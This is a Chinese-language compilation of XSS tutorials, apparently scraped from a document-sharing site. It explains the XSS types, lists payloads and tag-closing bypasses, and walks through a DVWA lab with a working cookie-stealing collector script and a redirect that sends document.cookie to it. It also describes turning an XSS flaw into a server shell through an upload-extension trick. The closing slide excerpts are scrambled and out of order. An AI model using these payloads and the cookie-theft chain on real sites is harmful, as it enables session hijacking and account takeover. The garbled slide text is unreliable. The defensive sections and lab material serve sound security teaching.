XSS跨站脚本攻击详述
XSS（跨站脚本攻击）详解
XSS（跨站脚本攻击）详解⽬录XSS的原理和分类跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
恶意攻击者往Web页⾯⾥插⼊恶意Script代码，当⽤户浏览该页⾯时，嵌⼊Web⾥⾯的Script代码会被执⾏，从⽽达到恶意攻击⽤户的⽬的。
XSS攻击针对的是⽤户层⾯的攻击！XSS分为：存储型、反射型、DOM型XSS存储型XSS：存储型XSS，持久化，代码是存储在服务器中的，如在个⼈信息或发表⽂章等地⽅，插⼊代码，如果没有过滤或过滤不严，那么这些代码将储存到服务器中，⽤户访问该页⾯的时候触发代码执⾏。
这种XSS⽐较危险，容易造成蠕⾍，盗窃cookie反射型XSS：⾮持久化，需要欺骗⽤户⾃⼰去点击链接才能触发XSS代码（服务器中没有这样的页⾯和内容），⼀般容易出现在搜索页⾯。
反射型XSS⼤多数是⽤来盗取⽤户的Cookie信息。
DOM型XSS：不经过后端，DOM-XSS漏洞是基于⽂档对象模型(Document Objeet Model,DOM)的⼀种漏洞，DOM-XSS是通过url传⼊参数去控制触发的，其实也属于反射型XSS。
DOM的详解：可能触发DOM型XSS的属性document.refererlocationinnerHTMLdocumen.write如图，我们在URL中传⼊参数的值，然后客户端页⾯通过js脚本利⽤DOM的⽅法获得URL中参数的值，再通过DOM⽅法赋值给选择列表，该过程没有经过后端，完全是在前端完成的。
所以，我们就可以在我们输⼊的参数上做⼿脚了。
XSS的攻击载荷以下所有标签的 > 都可以⽤ // 代替，例如 <script>alert(1)</script//<script>标签：<script>标签是最直接的XSS有效载荷，脚本标记可以引⽤外部的JavaScript代码，也可以将代码插⼊脚本标记中<script>alert("hack")</script> #弹出hack<script>alert(/hack/)</script> #弹出hack<script>alert(1)</script> #弹出1，对于数字可以不⽤引号<script>alert(document.cookie)</script> #弹出cookie<script src=/xss.js></script> #引⽤外部的xsssvg标签<svg onload="alert(1)"><svg onload="alert(1)"//<img>标签：<img src=1 οnerrοr=alert("hack")><img src=1 οnerrοr=alert(document.cookie)> #弹出cookie<body>标签：<body οnlοad=alert(1)><body οnpageshοw=alert(1)>video标签:<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />style标签：<style οnlοad=alert(1)></style>XSS可以插在哪⾥？⽤户输⼊作为script标签内容⽤户输⼊作为HTML注释内容⽤户输⼊作为HTML标签的属性名⽤户输⼊作为HTML标签的属性值⽤户输⼊作为HTML标签的名字直接插⼊到CSS⾥最重要的是，千万不要引⼊任何不可信的第三⽅JavaScript到页⾯⾥！#⽤户输⼊作为HTML注释内容，导致攻击者可以进⾏闭合绕过<!-- ⽤户输⼊ --><!-- --><script>alert('hack')</script><!-- -->#⽤户输⼊作为标签属性名，导致攻击者可以进⾏闭合绕过<div ⽤户输⼊="xx"> </div><div ></div><script>alert('hack')</script><div a="xx"> </div>#⽤户输⼊作为标签属性值，导致攻击者可以进⾏闭合绕过<div id="⽤户输⼊"></div><div id=""></div><script>alert('hack')</script><div a="x"></div>#⽤户输⼊作为标签名，导致攻击者可以进⾏闭合绕过<⽤户输⼊ id="xx" /><><script>alert('hack')</script><b id="xx" />#⽤户输⼊作为CSS内容，导致攻击者可以进⾏闭合绕过<style>⽤户输⼊<style><style> </style><script>alert('hack')</script><style> </style>XSS漏洞的挖掘⿊盒测试尽可能找到⼀切⽤户可控并且能够输出在页⾯代码中的地⽅，⽐如下⾯这些：URL的每⼀个参数URL本⾝表单搜索框常见业务场景重灾区：评论区、留⾔区、个⼈信息、订单信息等针对型：站内信、⽹页即时通讯、私信、意见反馈存在风险：搜索框、当前⽬录、图⽚属性等⽩盒测试(代码审计)关于XSS的代码审计主要就是从接收参数的地⽅和⼀些关键词⼊⼿。
DVWA——XSS（跨站脚本攻击）
DVWA——XSS（跨站脚本攻击）XSS概念：XSS攻击全称跨站脚本攻击，XSS是⼀种经常出现在web应⽤中的计算机安全漏洞，它允许恶意web⽤户将代码植⼊到提供给其它⽤户使⽤的页⾯中。
⽐如这些代码包括HTML代码和客户端脚本。
XSS有三种：反射型XSS：只是简单地把⽤户输⼊的数据反射给浏览器，简单来说，⿊客往往需要⽤户诱使⽤户点击⼀个恶意链接，才能攻击成功。
存储型XSS：将⽤户输⼊的数据存储在服务器端。
DOM XSS：通过修改页⾯的DOM节点形成的XSS。
（可能是存储型也可能使反射型）反射型XSS：Low级：<?php// Is there any input?if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';}>我们可以看到，代码直接引⽤了name参数，并没有任何的过滤与检查，存在明显的XSS漏洞。
所以我们构造payload语句：<script>alert(/111/)</script>，可以看到直接就执⾏了我们的js代码。
在www⽬录下创建⼀个cookie.php⽂件，内容如下：<?php$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中file_put_contents('cookie.txt',$cookie);//把偷取的⽤户cookie写到cookie.txt⽂件中>编写js代码将页⾯的cookie发送到cookie.php中：<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>#后⾯的参数要进⾏URL编码，页⾯发⽣跳转后，我们发现在WWW⽬录下多了个 cookie⽂件，打开发现成功拿到了cookie。
XSS跨站脚本攻击技术原理及防护措施
XSS跨站脚本攻击技术原理及防护措施
一、XSS跨站脚本攻击技术原理
XSS全名跨站脚本攻击（Cross-site Scripting），是一种网络攻击技术，它指的是攻击者往网页里植入恶意指令，这恶意脚本能够实现对访问者机器的破坏、进行攻击者所期望的操作。
XSS攻击的通常目的是窃取受害者的身份凭证、重定向到恶意网站、植入垃圾信息、增加病毒等。
XSS攻击的攻击原理是，攻击者利用网页漏洞，向网页中植入恶意脚本，使脚本被浏览器执行，从而实现攻击目的。
XSS攻击可以分为两类：反射式XSS和存储型XSS。
反射式XSS：攻击者构造特殊的URL，包含恶意的脚本代码，然后将其发送给受害者，受害者在浏览器上打开该URL后，恶意脚本便会在浏览器上执行，实现攻击者的目的。
存储型XSS：攻击者构造一段恶意脚本，将其植入到网页中，当其他用户访问该网页时，恶意脚本被执行，实现攻击者的目的。
二、XSS跨站脚本攻击防护措施
1、合理使用HTML标记
XSS攻击是利用Web应用程序对特殊字符的不安全处理而产生的，只要合理使用HTML标记，可以有效地抵抗XSS攻击。
一般来说，最好的防范措施就是使用正确的标记。
例如，在输入中不应使用<script>标记，因为浏览器会将其作为脚本而执行。
跨站脚本攻击的危害和防护方法
跨站脚本攻击的危害和防护方法跨站脚本攻击（Cross-Site Scripting，XSS）是一种常见的 Web 应用程序安全漏洞，攻击者通过在合法网页中插入恶意脚本代码，使用户在浏览网页时受到攻击。
这种攻击可以导致诸如 cookie 盗取、恶意操作用户账户等危害。
为了保护用户数据和确保网站安全，开发人员需要采取一些防护措施来防范这种攻击。
1.会话劫持：攻击者可以通过窃取用户的会话ID，获得对用户账户的控制权，从而越过身份验证阶段访问受限资源和敏感信息。
2.数据窃取：攻击者可以通过注入恶意代码，将用户的敏感信息（如用户名、密码、信用卡号等）发送到恶意服务器上，从而导致用户信息泄露。
3.恶意操作：攻击者可以通过注入脚本代码，欺骗用户进行一些非法操作，如转账、删除数据等，导致用户财产损失或系统数据丢失。
为了防范跨站脚本攻击，开发人员可以采取以下几种防护方法：1.输入验证和过滤：开发人员需要对用户输入的数据进行有效的验证和过滤，避免恶意脚本的注入。
对于用户输入的特殊字符（如`<`,`>`,`"`,`'`,`/`等），需要进行转义处理或替换为安全字符。
2.输出编码：在将用户输入的数据输出到网页或其他输出端之前，需要进行适当的编码处理，确保输出内容被当作纯文本而不是可执行脚本来处理。
常见的输出编码方式包括HTML编码、URL编码等。
4. 使用 HttpOnly Cookie：在设置 Cookie 时，开发人员可以将它们标记为 HttpOnly，这样客户端脚本就无法通过 document.cookie API 来访问该 Cookie。
这可以减少 XSS 攻击者对用户 Cookie 的窃取。
5.安全的开发实践：开发人员需要遵循安全的开发实践，如避免在网页中直接嵌入脚本代码、使用安全套接字层（SSL/TLS）传输敏感数据、定期更新和升级服务器软件等。
6.持续安全审计：定期进行网站和应用程序的安全审计，检查是否存在潜在的跨站脚本攻击漏洞。
XSS跨站脚本攻击
XSS跨站脚本攻击
为什么叫XSS？
跨站脚本（cross site script）为了避免和样式css混淆，故简称xss。
XSS是什么？
xss是⼀种经常出现在web应⽤中的计算机安全漏洞，也是最主流的攻击⽅式。
xss是指恶意攻击者利⽤⽹站没有对⽤户提交的数据进⾏转义处理或过滤不⾜的缺点，进⽽添加⼀些代码，嵌⼊到web页⾯中去；使别的⽤户访问都会执⾏相应的嵌⼊代码，从⽽盗取⽤户资料、利⽤⽤户⾝份进⾏某些动作或者对访问者进⾏病毒侵害的⼀种攻击⽅式。
xss攻击的危害有哪些？
1.盗取各类⽤户账号；如：机器登录账号、⽤户⽹银账号、各类管理员账号...
2.控制企业数据；包括读取、篡改、添加、删除企业敏感数据能⼒
3.盗窃企业具有商业价值的重要资料
4.⾮法转账
5.强制发送电⼦邮件
6.⽹站挂马
7.控制受害者机器向其他⽹站发起攻击
为什么会出现xss攻击？
主要原因是：过于信任客户端提交的数据
xss根源就是没完全过滤客户端提交的数据
细节分析：客户端提交的数据本就是应⽤需要的，但是恶意攻击者利⽤⽹站对客户端提交的数据的信任，在数据中插⼊⼀些符号以及js代码，那这些数据将会成为应⽤代码中的⼀部分，进⽽攻击者就可以进⾏攻击。
怎么避免出现xss攻击？
不要信任任何客户端提交的数据；只要是客户端提交的数据信息都应该先做过滤处理再进⾏下⼀步操作。
xss攻击分类（稍微了解即可）
1.反射型xss攻击
2.存贮型xss攻击
3.DOMBasedXSS（基于dom的跨站点脚本攻击）
本⽂只对xss攻击做简单的介绍，具体细节可参考这位⼤神的博⽂：。
详解XSS跨站脚本攻击
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术，但是其思路希望对大家有帮助。
有的时候，当我们对于目标程序找不到可以利用的跨站点，这个时候我们可以利用可以从外部入手，利用我们要拿下的是它的论谈，论谈的安全性做的很好，但其留言板却存在跨站漏洞，这个时候我们可以在留言板里写入跨站语句，跨站语句为以表单的方式向论谈提交提升权限的语句，如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
二、来自内部的跨站攻击
寻找跨站漏洞
如果有代码的话比较好办，我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合，像测试QQ群跨站漏洞的时候，你在标题处输入<script>alert(‘test’)</script>，代码是不会被执行的，因为在源代码里，有其它的标签未闭合，如少了一个</script>，这个时候，你只要闭合一个</script>，代码就会执行，如：你在标题处输入</script><script>alert(‘test’)</script>，这样就可以弹出一个test的框。
同样发个贴子等，只要管理员打开了，就会加了一个扩展名为asp （有空格）的上传扩展，这个时候，你只要上传一个newmm.asp (有空格)就可以得到一个shell.
XSS跨站脚本攻击分析
XSS跨站脚本攻击分析XSS（Cross-Site Scripting）跨站脚本攻击是一种常见的Web应用程序安全漏洞，攻击者通过在被攻击网页中注入恶意脚本，使得用户在浏览网页时执行这些恶意脚本，从而达到攻击者的目的。
一、XSS攻击的原理XSS攻击的本质是将恶意脚本注入到正常的网页中，使得浏览器误将这些脚本当作合法的代码来执行。
攻击者可以通过多种途径完成注入，包括在URL参数、Cookie、表单输入、HTTP头部等地方。
XSS攻击可以分为三类：反射型XSS、存储型XSS和DOM-based XSS。
1.反射型XSS攻击，指的是攻击者构造出一个特殊的URL，当用户访问这个URL时，网页的参数会被服务器解析执行，从而导致恶意代码的执行。
2.存储型XSS攻击，指的是攻击者将恶意脚本存储在服务器端，其他用户访问包含恶意代码的页面时，脚本会被服务器返回并执行。
3. DOM-based XSS攻击，即基于文档对象模型（DOM）的XSS攻击，与前两类不同，它是完全在客户端执行的攻击，没有服务器的参与。
攻击者利用浏览器解析URL或HTML代码时的漏洞，将恶意脚本注入到页面DOM中，并且通过修改DOM或触发事件，从而实现攻击效果。
二、XSS攻击的危害XSS攻击可以导致以下危害：2.劫持用户会话：攻击者可以通过XSS注入恶意脚本，控制用户的浏览器，从而获取用户的登录凭证、修改用户的个人信息，甚至在用户不知情的情况下执行一些危险操作。
3.传播恶意代码：攻击者可以通过XSS注入的脚本实现自我复制，并传播到其他用户中，形成恶意脚本的传播链。
三、XSS攻击的防御措施为了有效防御XSS攻击，需要采取以下措施：2. HTTP Only Cookie：将敏感信息存储在HTTP Only Cookie中，这样在XSS攻击成功后，攻击者无法通过脚本获取到这些敏感信息。
3. CSP（Content Security Policy）策略：通过CSP策略，限制网页中可执行的脚本源。
Web安全中的跨站脚本和CSRF攻击
Web安全中的跨站脚本和CSRF攻击跨站脚本（Cross-Site Scripting, XSS）和跨站请求伪造（Cross-Site Request Forgery, CSRF）是Web安全中常见的两种攻击方式。
这两种攻击方式可以导致用户的敏感信息泄漏、账号劫持、篡改用户数据等严重后果。
本文将分别介绍XSS和CSRF攻击的原理、类型、预防措施以及安全建议。
一、跨站脚本(XSS)攻击:1.原理：XSS攻击是通过向Web页面注入恶意脚本代码，使得用户在浏览器上执行恶意脚本而受到攻击。
这些恶意脚本可以篡改页面内容、窃取用户敏感信息、劫持用户会话等。
2.类型：a.存储型XSS：攻击者将恶意脚本存储到服务端，当用户请求页面时，恶意脚本被返回并执行。
b.反射型XSS：攻击者构造包含恶意脚本的URL，并将其发送给用户。
用户点击URL后，恶意脚本被浏览器执行。
3.预防措施：a.输入验证和过滤：对用户输入的数据进行验证和过滤，防止恶意脚本注入。
b.输出转义：在将用户输入的数据输出到HTML页面时，对特殊字符进行转义，避免恶意脚本执行。
c. HttpOnly Cookie：将敏感信息存储在HttpOnly Cookie中，防止XSS攻击窃取Cookie。
d. CSP（Content Security Policy）：通过设置CSP，限制页面可以加载的资源和代码来源，减少XSS攻击的风险。
4.安全建议：a.用户不点击可疑链接和下载的文件，尽量避免访问不受信任的网站。
b.及时更新浏览器和插件，以获得最新的安全修复。
c.使用Web Application Firewall（WAF）等工具来检测和防护XSS攻击。
二、跨站请求伪造（CSRF）攻击：1.原理：CSRF攻击是攻击者利用用户已经登录的身份，在用户不知情的情况下，伪造请求发送给Web应用服务器，从而执行恶意操作。
这种攻击方式通常利用了Web应用对用户发出的请求未进行有效的验证。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
9/6/2010
DBAppsecurtiy 2010
12
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
HTML中的其它媒体元素导致的XSS
– flash actionscript getURL("javascript:alert(/xeye/)"); ExternalInterface.call("eval", "try{alert(/xeye/);}catch(e){window.location.reload();}"); … – pdf xss – applet xss – wmf xss /site/tentacoloviola/backdooringwindows-media-files – …
Dan Haagman, InfoSecurity 2009
XSS跨站脚本攻击详述
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
1
Dan Haagman, InfoSecurity 2009
7
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
XML file xss
– 针对Firefox/chrome/opera 有效
<?xml version="1.0" encoding="UTF-8" ?> <root> <a> /////////////可控部分 <p xmlns='/1999/xhtml'> <script>alert(document.cookie);</script> </p> ///////////////// </a> </root>
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
16
Dan Haagman, InfoSecurity 2009
浏览器bug导致的XSS ie7/8 javascript伪协议bypass执行
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
11
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
HTML中有多处可以合法执行JS
– <script>标签
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010Leabharlann 13XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
浏览器解析处理差异导致的XSS
– webkit textarea innerHTML /blog/2009/04/textarea-innerhtml-not-encode-inwebkit/ – 对宽字节编码的处理方式差异 eg：gbk编码的网页对%c3'处理，ff/chrome与ie/opera的默认处理 方式不同 – …
– XML文档 – Flash – 客户端软件
QQ2009、office、rar自解压等
– HTML上的一些媒体元素
wmf, word, pdf ,applet…
–
…
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
security context: target site
browser window
security context: target site browser window
7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
4
XSS跨站脚本概述
javascript伪协议
<iframe src=j avascript:alert(/xss/)> …
– – –
HTML属性 CSS中 Data URI XSS
on*事件、style属性、action/src/href等
expression, javascript:, moz-binding等
• 标签内 在html内的跨站，无须构造新的标签，直接使用标签属性进行跨 站 • 标签外 需要构建html标签，才能利用跨站 • <script>内 使用分号分割script脚本，直接执行脚本
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
6
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
哪儿可以XSS
– HTML本身
HTML元素、元素属性、CSS等
XSS跨站脚本概述 XSS跨站攻击案例模式
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
2
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
XSS(Cross-Site Scripting) 注入的恶意代码包括：
○ 1、同源策略bypass的0day利用 ○ 2、你所在的域允许与其他域在客户端上通讯…
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
10
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
9/6/2010
DBAppsecurtiy 2010
9
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
同源策略
– 在浏览器中有一个非常重要的概念：同源策略。它是指客户 端脚本应该只被允许访问与自己在同域内的资源，这里的同 域是指同协议、同域名、同端口的严格同域 – 为什么需要同源策略 你的gmail cookie就不会被另一个域的js读取 你上的隐私数据就不会被另一域的js读取、篡改、删除 等 有两种情况可以这样做：
– 即跨站脚本攻击，这类攻击发生在客户端，是攻击者将恶意代码注 入到Web客户端，从而影响到其他浏览此Web界面的用户
– 危险的HTML标签、客户端脚本、其它能执行JS的容器等 – 大多数时候与JavaScript有关 – – – – – form: post/get url parameters cookie header html媒体文件的内容
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
14
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
浏览器特性导致的XSS（一）
– IE
–
比如css中的expression，*background里的伪协议 <!--[if '<script']><script>alert(/xeye/)</script><![endif]--> `反单引号的支持 …
FF
css中的BODY{-moz-binding:url("xss-test.xml#xss")} E4X的实例：<script> foo=<foo><id name="thx">x</id></foo>; alert(foo.id); </script> more from /ycosxhack/blog/item/4078831c166c308d86d6b645.ht ml …
Secure Coding Course, © 7Safe 7Safe Company Overview 2009
9/6/2010
DBAppsecurtiy 2010
15
XSS跨站脚本概述
Dan Haagman, InfoSecurity 2009
浏览器特性导致的XSS（二）
– Opera <table background=javascript:alert(/xeye/)> from /2009/05/08/opera-xssvectors/ …
Dan Haagman, InfoSecurity 2009
2
4
From: Malicious User To: Victim User
MALICIOUS 5 CODE
NORMAL VALID SESSION